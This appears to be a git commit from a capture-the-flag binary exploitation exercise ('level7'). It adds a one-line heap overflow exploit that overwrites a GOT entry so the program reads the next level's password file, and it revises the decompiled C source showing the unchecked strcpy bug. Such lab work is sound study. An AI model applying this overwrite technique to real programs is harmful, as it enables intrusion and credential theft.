level7: done, walkthrough left to do
This commit is contained in:
parent
c00f78c45b
commit
943d8fb772
1
level7/ressources/exploit
Normal file
1
level7/ressources/exploit
Normal file
@ -0,0 +1 @@
|
|||||||
|
./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')
|
@ -14,24 +14,19 @@ void m(void)
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int ac, char **av)
|
int32_t main(int32_t ac, char **av)
|
||||||
{
|
{
|
||||||
int **a;
|
int32_t *str = malloc(8);
|
||||||
int **b;
|
str[0] = 1;
|
||||||
FILE *__stream;
|
str[1] = malloc(8);
|
||||||
|
|
||||||
*a = (int *)malloc(8);
|
int32_t *str2 = malloc(8);
|
||||||
*a[0] = 1;
|
str2[0] = 2;
|
||||||
a[1] = malloc(8);
|
str2[1] = malloc(8);
|
||||||
|
|
||||||
*b = (int *)malloc(8);
|
strcpy(str[1], av[1]);
|
||||||
*b[0] = 2;
|
strcpy(str2[1], av[2]);
|
||||||
b[1] = malloc(8);
|
fgets(c, 68, fopen("/home/user/level8/.pass", "r"));
|
||||||
|
|
||||||
strcpy((char *)a[1], av[1]);
|
|
||||||
strcpy((char *)b[1], av[2]);
|
|
||||||
__stream = fopen("/home/user/level8/.pass", "r");
|
|
||||||
fgets(c, 68, __stream);
|
|
||||||
puts("~~");
|
puts("~~");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user